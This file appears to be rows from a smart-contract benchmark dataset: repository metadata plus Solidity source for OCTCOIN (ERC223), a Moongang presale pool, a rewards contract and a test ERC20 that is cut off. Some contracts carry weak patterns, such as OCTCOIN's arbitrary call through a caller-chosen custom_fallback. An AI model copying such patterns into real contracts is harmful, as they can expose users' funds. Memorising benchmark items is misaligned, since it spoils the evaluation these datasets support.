sse_optimal_payment_register(winnerAddr, msg_sender1, msg_price1);
sse_optimal_payment_register(winnerAddr, msg_sender2, msg_price2);
sse_optimal_payment_register(winnerAddr, msg_sender3, msg_price3);
sse_optimal_violate_check(payments[msg_sender1]+payments[msg_sender2]+payments[msg_sender3],winnerAddr,msg_sender1);
sse_optimal_violate_check(payments[msg_sender1]+payments[msg_sender2]+payments[msg_sender3],winnerAddr,msg_sender2);
sse_optimal_violate_check(payments[msg_sender1]+payments[msg_sender2]+payments[msg_sender3],winnerAddr,msg_sender3);
}
}
| 242,307 | 10,809 |
594a38de0dc270d0d560200e58b1c71c145c1f2e999e1f20bc9f1e058d8e76b5
| 12,815 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xbc90c835f2bc5255078cefc2a9c37cde0db2cae5.sol
| 3,243 | 12,626 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract OCTCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "OCTCOIN";
string public symbol = "OCTC";
uint8 public decimals = 6;
uint256 public totalSupply = 50e9 * 1e6;
uint256 public distributeAmount = 0;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
function OCTCOIN() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e6);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e6);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e6);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 163,443 | 10,810 |
61bba1d633bfb354dea1b27f2bbc34dcd152c335159f05c961e3126eae01553a
| 10,807 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x9ae3bbfb4586faec0d0fcf9505639c4eaac4d095.sol
| 3,064 | 10,266 |
// Author : shift
pragma solidity ^0.4.18;
//--------- OpenZeppelin's Safe Math
//Source : https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//-----------------------------------------------------
// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20
contract ERC20 {
function transfer(address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public constant returns (uint256 balance);
}
contract Moongang {
using SafeMath for uint256;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier minAmountReached {
//In reality, the correct amount is the amount + 1%
require(this.balance >= SafeMath.div(SafeMath.mul(min_amount, 100), 99));
_;
}
modifier underMaxAmount {
require(max_amount == 0 || this.balance <= max_amount);
_;
}
//Constants of the contract
uint256 constant FEE = 100; //1% fee
//SafeMath.div(20, 3) = 6
uint256 constant FEE_DEV = 6; //15% on the 1% fee
uint256 constant FEE_AUDIT = 12; //7.5% on the 1% fee
address public owner;
address constant public developer = 0xEE06BdDafFA56a303718DE53A5bc347EfbE4C68f;
address constant public auditor = 0x63F7547Ac277ea0B52A0B060Be6af8C5904953aa;
uint256 public individual_cap;
//Variables subject to changes
uint256 public max_amount; //0 means there is no limit
uint256 public min_amount;
//Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
mapping (address => uint256) public balances_bonus;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record ETH value of tokens currently held by contract.
uint256 public contract_eth_value;
uint256 public contract_eth_value_bonus;
//Set by the owner in order to allow the withdrawal of bonus tokens.
bool public bonus_received;
//The address of the contact.
address public sale;
//Token address
ERC20 public token;
//Records the fees that have to be sent
uint256 fees;
//Set by the owner. Allows people to refund totally or partially.
bool public allow_refunds;
//The reduction of the allocation in % | example : 40 -> 40% reduction
uint256 public percent_reduction;
bool public owner_supplied_eth;
bool public allow_contributions;
//Internal functions
function Moongang(uint256 max, uint256 min, uint256 cap) {
owner = msg.sender;
max_amount = SafeMath.div(SafeMath.mul(max, 100), 99);
min_amount = min;
individual_cap = cap;
allow_contributions = true;
}
//Functions for the owner
// Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract.
function buy_the_tokens() onlyOwner minAmountReached underMaxAmount {
//Avoids burning the funds
require(!bought_tokens && sale != 0x0);
//Record that the contract has bought the tokens.
bought_tokens = true;
//Sends the fee before so the contract_eth_value contains the correct balance
uint256 dev_fee = SafeMath.div(fees, FEE_DEV);
uint256 audit_fee = SafeMath.div(fees, FEE_AUDIT);
owner.transfer(SafeMath.sub(SafeMath.sub(fees, dev_fee), audit_fee));
developer.transfer(dev_fee);
auditor.transfer(audit_fee);
//Record the amount of ETH sent as the contract's current value.
contract_eth_value = this.balance;
contract_eth_value_bonus = this.balance;
// Transfer all the funds to the crowdsale address.
sale.transfer(contract_eth_value);
}
function force_refund(address _to_refund) onlyOwner {
require(!bought_tokens);
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[_to_refund], 100), 99);
balances[_to_refund] = 0;
balances_bonus[_to_refund] = 0;
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
_to_refund.transfer(eth_to_withdraw);
}
function force_partial_refund(address _to_refund) onlyOwner {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[_to_refund], percent_reduction), 100);
balances[_to_refund] = SafeMath.sub(balances[_to_refund], amount);
balances_bonus[_to_refund] = balances[_to_refund];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
_to_refund.transfer(amount);
}
function set_sale_address(address _sale) onlyOwner {
//Avoid mistake of putting 0x0 and can't change twice the sale address
require(_sale != 0x0);
sale = _sale;
}
function set_token_address(address _token) onlyOwner {
require(_token != 0x0);
token = ERC20(_token);
}
function set_bonus_received(bool _boolean) onlyOwner {
bonus_received = _boolean;
}
function set_allow_refunds(bool _boolean) onlyOwner {
allow_refunds = _boolean;
}
function set_allow_contributions(bool _boolean) onlyOwner {
allow_contributions = _boolean;
}
function set_percent_reduction(uint256 _reduction) onlyOwner payable {
require(bought_tokens && _reduction <= 100);
percent_reduction = _reduction;
if (msg.value > 0) {
owner_supplied_eth = true;
}
//we substract by contract_eth_value*_reduction basically
contract_eth_value = contract_eth_value.sub((contract_eth_value.mul(_reduction)).div(100));
contract_eth_value_bonus = contract_eth_value;
}
function change_individual_cap(uint256 _cap) onlyOwner {
individual_cap = _cap;
}
function change_owner(address new_owner) onlyOwner {
require(new_owner != 0x0);
owner = new_owner;
}
function change_max_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
max_amount = SafeMath.div(SafeMath.mul(_amount, 100), 99);
}
function change_min_amount(uint256 _amount) onlyOwner {
//ATTENTION! The new amount should be in wei
//Use https://etherconverter.online/
min_amount = _amount;
}
//Public functions
// Allows any user to withdraw his tokens.
function withdraw() {
// Disallow withdraw if tokens haven't been bought yet.
require(bought_tokens);
uint256 contract_token_balance = token.balanceOf(address(this));
// Disallow token withdrawals if there are no tokens to withdraw.
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], contract_token_balance), contract_eth_value);
// Update the value of tokens currently held by the contract.
contract_eth_value = SafeMath.sub(contract_eth_value, balances[msg.sender]);
// Update the user's balance prior to sending to prevent recursive call.
balances[msg.sender] = 0;
// Send the funds. Throws on failure to prevent loss of funds.
require(token.transfer(msg.sender, tokens_to_withdraw));
}
function withdraw_bonus() {
require(bought_tokens && bonus_received);
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = SafeMath.div(SafeMath.mul(balances_bonus[msg.sender], contract_token_balance), contract_eth_value_bonus);
contract_eth_value_bonus = SafeMath.sub(contract_eth_value_bonus, balances_bonus[msg.sender]);
balances_bonus[msg.sender] = 0;
require(token.transfer(msg.sender, tokens_to_withdraw));
}
// Allows any user to get his eth refunded before the purchase is made.
function refund() {
require(!bought_tokens && allow_refunds && percent_reduction == 0);
//balance of contributor = contribution * 0.99
//so contribution = balance/0.99
uint256 eth_to_withdraw = SafeMath.div(SafeMath.mul(balances[msg.sender], 100), 99);
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
//Updates the balances_bonus too
balances_bonus[msg.sender] = 0;
//Updates the fees variable by substracting the refunded fee
fees = SafeMath.sub(fees, SafeMath.div(eth_to_withdraw, FEE));
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_to_withdraw);
}
//Allows any user to get a part of his ETH refunded, in proportion
//to the % reduced of the allocation
function partial_refund() {
require(bought_tokens && percent_reduction > 0);
//Amount to refund is the amount minus the X% of the reduction
//amount_to_refund = balance*X
uint256 amount = SafeMath.div(SafeMath.mul(balances[msg.sender], percent_reduction), 100);
balances[msg.sender] = SafeMath.sub(balances[msg.sender], amount);
balances_bonus[msg.sender] = balances[msg.sender];
if (owner_supplied_eth) {
//dev fees aren't refunded, only owner fees
uint256 fee = amount.div(FEE).mul(percent_reduction).div(100);
amount = amount.add(fee);
}
msg.sender.transfer(amount);
}
// Default function. Called when a user sends ETH to the contract.
function () payable underMaxAmount {
require(!bought_tokens && allow_contributions);
//1% fee is taken on the ETH
uint256 fee = SafeMath.div(msg.value, FEE);
fees = SafeMath.add(fees, fee);
//Updates both of the balances
balances[msg.sender] = SafeMath.add(balances[msg.sender], SafeMath.sub(msg.value, fee));
//Checks if the individual cap is respected
//If it's not, changes are reverted
require(individual_cap == 0 || balances[msg.sender] <= individual_cap);
balances_bonus[msg.sender] = balances[msg.sender];
}
}
| 217,572 | 10,811 |
17c8d8e71fa12eab41160ac6e8921c52d65ea2136c773ca5bcf3cb3177dd3991
| 28,034 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x033361Ddf05D969Ba77BCCfC51F49c9cE3306C83/contract.sol
| 3,256 | 12,558 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
'SafeBEP20: decreased allowance below zero');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract MigrationRewards is Ownable, ReentrancyGuard {
using SafeBEP20 for IBEP20;
struct Request {
address account;
uint rewards;
}
event MigrationRewardsPaid(address indexed account, uint amount);
event EmergencyExit(address indexed token, uint amount);
IBEP20 private constant BUNNY = IBEP20(0xC9849E6fdB743d08fAeE3E34dd2D1bc69EA11a51);
mapping(address => uint) public rewards;
function getReward() public nonReentrant {
uint reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
BUNNY.safeTransfer(msg.sender, reward);
emit MigrationRewardsPaid(msg.sender, reward);
}
}
function updateRewards(Request[] memory requests) external onlyOwner {
for (uint i = 0; i < requests.length; i++) {
Request memory request = requests[i];
rewards[request.account] = request.rewards;
}
}
function emergencyExit(address token) external onlyOwner {
IBEP20 asset = IBEP20(token);
uint remain = asset.balanceOf(address(this));
asset.safeTransfer(owner(), remain);
emit EmergencyExit(token, remain);
}
}
| 250,726 | 10,812 |
bc46628976301f84dab4b37cfc3cd166bb421cb790c3df961d1139d5835d207f
| 23,189 |
.sol
|
Solidity
| false |
308748058
|
apoorvlathey/NonFungibleFarm
|
67926ef712ab16fb8766b449f3326137ed224f36
|
contracts/mocks/TestERC20.sol
| 2,587 | 9,942 |
pragma solidity ^0.6.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
